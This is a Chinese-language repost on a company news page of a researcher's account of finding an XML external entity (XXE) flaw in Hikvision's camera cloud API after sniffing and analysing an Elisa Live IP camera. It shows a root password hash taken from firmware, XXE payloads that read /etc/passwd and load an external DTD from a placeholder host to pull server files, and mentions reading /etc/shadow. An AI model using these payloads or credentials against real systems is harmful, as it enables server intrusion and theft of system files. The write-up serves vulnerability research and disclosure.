当前位置: 首 页新闻资讯行业动态

国外黑客发现的海康威视远程系统XXE漏洞分析

作者:蓝海信息技术  来源:本站  发表时间:2017/12/4 19:42:11   浏览:

物联网发展和安全威胁总是如影随形。两个月前,我想研究一下网络摄像机,然后就在亚马逊上购买了一个比较便宜的,由海康威视代工生产的Elisa Live 720p HD IP Camera。当我在破解Elisa摄像机尝试获取密码信息的过程中,却偶然发现了海康威视远程系统的一个XML外部实体注入漏洞(XXE)。

XXE InjectionXMLExternal Entity Injection,也就是XML外部实体注入攻击,漏洞是在对非安全的外部实体数据进行处理时引发的安全问题。在XML1.0标准里,XML文档结构定义了实体(entity)这个概念。实体可以通过预定义在文档中调用,实体的标识符可访问本地或远程内容。如果在这个过程中引入了恶意,在对XML文档处理后则可能导致信息泄漏等安全问题。具体可参考TSRC-XXE漏洞攻防

1 研究开始

通常来说,大多网络摄像机数据要被上传到其后台系统中,也就是说,只有利用网页或者app通过其云服务平台才能访问摄像机。我通过摄像机以太网接口把其连接到实验室环境,进行网络流量监听。因为一些设备内置了老旧或不安全的固件,所以如果想做物联网设备相关的实验,强烈建议不要急于把设备接上互联网。

从Wireshark抓包流量中发现了几个有意思的数据包:

(1)两个未加密的请求调用:



(2)向网站www.hik-online.com发起POST请求的base64加密数据包(后作分析)

(3)从Amazon S3存储中下载更新的Get请求:




2 尝试破解网络摄像机

利用Nmap扫描摄像机,发现了一些开放端口服务,其中包括一个登录页面,经尝试,一些海康威视常用的默认用户名和密码组合无法正确登录。后来发现,密码验证的控制器受http摘要认证机制保护,这是该固件独有的特点。利用binwalkhiktools对固件进行分析后,虽然没发现任何摘要认证信息,却提取到了一些有意思的东西,如/etc/passwd文件和其中的root密码hiklinux:



root:ToCOv8qxP13qs:0:0:root:/root/:/bin/sh



对固件进行升级之后,摄像机的SSH端口就变为关闭状态了,所以我没法利用这个点,只能尝试其它途径。

3 发现XXE漏洞

回到向www.hik-online.com发起请求的数据包,它是一个Base64编码的POST字符串,解码之后是一堆乱码,当然,摄像机用来验证服务器的密码可能就在固件中,只是需要时间去分析发现。然而,我从海康威视网站上无意发现了这个:

如果发现任何漏洞,请联系HSRC@hikvision.com,请勿对外公开漏洞细节。

这是一个漏洞悬赏项目,好吧,让我们来研究研究它的POST请求。由于这是一个XML POST请求,我首先尝试用SYSTEM entity方法来让远程网站引用本地实体文件,如:





<?xml version=”1.0”?>

<!DOCTYPE netspi [<!ENTITY a SYSTEM“file:///etc/passwd” >]>

<c>&b;</c>





但该方法并不奏效,于是,我利用VPS远程传入引用实体,成功了!


<?xml version=”1.0”?>

<!DOCTYPE netspi [<!ENTITY a SYSTEM“http://www.xxx.com/test.dtd” >]>

<c>&b;</c>




图:载入外部实体成功

!这就有意思了,既然我们可以使用SYSTEM entity方式加载引用外部实体,就可以通过恶意dtd文件调用回传其它网站文件,如/etc/hosts文件等。所有这些过程都可以通过一个好用的自动化工具XXEinjector来完成:



OK,我可以远程读取网站上的任意文件,包括etc/shadow文件,当然也就获取了这台服务器的root权限。而且,海康威视分布在全球的其它API服务器同样存在该XXE漏洞最终,如果获得了这些远程服务器权限,甚至连shodan上可搜索的大量网络摄像机都面临安全风险。

最新资讯
  • 768网络即将上线啦,只因有你,未来的网络更精彩

    768网络即将上线啦,只因有你,未来的网络更精彩768网络是龙岩市蓝海信息技术有限公司前身,未来网络团队历时八年之久项目开发,以高精尖技术压缩建站成本,以超低价甚至免费享受高端体验。768网络的目标!让每个企业、个体户、个人拥有自己的网络名片,网上门头!让价格不再是阻碍的门槛!768网络定于2018年8月8日准时上线,现面向社会各界招收代理商,一起打造网络转...

  • 陈氏商城进入后期的调试,即将试上线运营

    陈氏商城于2015年度曾测试试上线运营,因其处于互联网+的转型区,跟不上时代的发展,本公司龙岩市蓝海信息技术有限公司成立三年之际,2018年到来之际,载着梦想与希望,我们再次起航,希望与广大客户朋友们精诚合作,开创未来新辉煌! 陈氏商城项目团队已在进行最后的相关测试,涉及稳定性,安全性、压力线程等测试,俗称黑白盒测试,敬请期待陈氏商城的再次到来。项目研发历...

Contact US

联系我们

ADD

中国·龙岩

13959078097 0597-13959078097

地址:福建省漳平市解放北路139号